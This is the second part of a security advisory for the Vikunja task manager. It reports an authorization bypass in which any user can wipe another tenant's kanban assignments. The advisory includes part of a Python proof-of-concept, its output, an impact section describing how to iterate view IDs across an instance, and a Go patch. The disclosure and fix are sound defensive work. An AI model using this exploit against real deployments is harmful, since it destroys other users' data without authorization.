Advisory

GHSA-gg93-x632-9ccv

Details, part 2 of 2. The advisory

Details

print(f"{'='*65}")

resp = requests.delete(
f"{API}/projects/{attacker_pid}/views/{victim_vid}",
headers=auth(at),
)
print(f"\n DELETE /api/v1/projects/{attacker_pid}/views/{victim_vid}")
print(f" (Logged in as: {ATTACKER_USER}, "
f"who is NOT a member of victim project {victim_pid})")
print(f" Response: HTTP {resp.status_code} body={resp.text!r}")

---- VERIFY ----

print(f"\n{'='*65}")
print(f" VERIFICATION")
print(f"{'='*65}")

View must still exist (the scoped first delete didn't match).
views_after = requests.get(f"{API}/projects/{victim_pid}/views",
headers=auth(vt)).json()
view_still_there = any(v["id"] == victim_vid for v in views_after)

But the buckets-with-tasks should now be empty (task_buckets wiped).
buckets_after = requests.get(
f"{API}/projects/{victim_pid}/views/{victim_vid}/buckets",
headers=auth(vt),
).json()
total_tasks_after = sum(len(b.get("tasks") or []) for b in buckets_after)

print(f"\n View {victim_vid} still exists? {view_still_there}")
print(f" Tasks in buckets BEFORE attack: {total_tasks_before}")
print(f" Tasks in buckets AFTER attack: {total_tasks_after}")

if view_still_there and total_tasks_after == 0 and total_tasks_before > 0:
print("""
+-----------------------------------------------------------------+
| VULNERABILITY CONFIRMED |
| |
| An unrelated user destroyed every task->bucket assignment |
| and every task position in another user's kanban view, using |
| only a self-owned throwaway project as the URL :project. |
| |
| - The view itself survives (first scoped delete matched 0). |
| - Tasks themselves survive. |
| - task_buckets and task_positions for the view are gone. |
| - Recovery requires restoring from backup. |
+-----------------------------------------------------------------+
""")
else:
print("\n Attack did not land — patched build or unexpected state.")


#### Proof of Concept Output

=====================================================================
PoC: Cross-Project Kanban Destruction via ProjectView.Delete
Severity: HIGH (CVSS 8.1)
CWE-639: Authorization Bypass Through User-Controlled Key
=====================================================================

[*] Setting up VICTIM (target)
[*] Victim project=42, view=87, tasks_in_buckets BEFORE = 3

[*] Setting up ATTACKER (any user can do this)
[*] Attacker project = 43 (attacker is Admin via OwnerID)

=================================================================
ATTACK: trainer-equivalent — wipe victim's kanban via own project
=================================================================

DELETE /api/v1/projects/43/views/87
(Logged in as: attacker_poc, who is NOT a member of victim project 42)
Response: HTTP 200 body='{"message":"Successfully deleted."}'

=================================================================
VERIFICATION
=================================================================

View 87 still exists? True
Tasks in buckets BEFORE attack: 3
Tasks in buckets AFTER attack: 0

+-----------------------------------------------------------------+
| VULNERABILITY CONFIRMED |
| |
| An unrelated user destroyed every task->bucket assignment |
| and every task position in another user's kanban view, using |
| only a self-owned throwaway project as the URL :project. |
| |
| - The view itself survives (first scoped delete matched 0). |
| - Tasks themselves survive. |
| - task_buckets and task_positions for the view are gone. |
| - Recovery requires restoring from backup. |
+-----------------------------------------------------------------+


### Impact

1. **Cross-tenant data destruction.** Any authenticated user — local-auth registration is enough on default deployments — can wipe the `task_buckets` and `task_positions` rows for any view in the instance. There is no requirement to be a member of, or share anything with, the victim project.

2. **Permanent loss without backup.** Tasks and views survive, but every Kanban-column assignment and every manual ordering position for the targeted view is destroyed. Vikunja has no per-row recovery path; the only way back is restoring the database (or `task_buckets` / `task_positions` tables) from backup.

3. **Trivial discovery.** View IDs are auto-increment integers. An attacker can wipe every view in the instance by iterating `1..N`, calling `DELETE /api/v1/projects/<own-project>/views/<i>` for each. Each request is a 200 OK regardless of whether the view existed in the attacker's project — so the attacker can't even tell which IDs were "real" without watching for victim complaints.

4. **Multi-tenant SaaS impact.** On hosted Vikunja deployments (e.g. `try.vikunja.io`-style setups), a single sign-up suffices to destroy Kanban layouts of every other tenant on the same instance.

### Fix

Either gate the cascading deletes on whether the scoped first delete matched, or re-couple `(view_id, project_id)` inside the cascading queries.

Minimal patch — `pkg/models/project_view.go`, inside `Delete()`:

```go
func (pv *ProjectView) Delete(s *xorm.Session, _ web.Auth) (err error) {
    affected, err := s.
        Where("id = ? AND project_id = ?", pv.ID, pv.ProjectID).
        Delete(&ProjectView{})
    if err != nil {
        return
    }
    if affected == 0 {
        // Either the view doesn't exist, or it doesn't belong to pv.ProjectID.
        // Either way, do not cascade — return an error so the API responds 404.
        return ErrProjectViewDoesNotExist{ProjectViewID: pv.ID}
    }

    if _, err = s.Where("project_view_id = ?", pv.ID).Delete(&TaskBucket{}); err != nil {
        return
    }
    _, err = s.Where("project_view_id = ?", pv.ID).Delete(&TaskPosition{})
    return
}

This makes the cascade conditional on the scoped delete actually having matched a row. As a defence-in-depth follow-up, CanDelete should also load the view and verify view.ProjectID == pv.ProjectID before granting permission, so the 404 path in Delete becomes a backstop rather than the only line of defence — mirroring the pattern used by Bucket.canDoBucket and ProjectView.Update elsewhere in the same file.

Sources & licences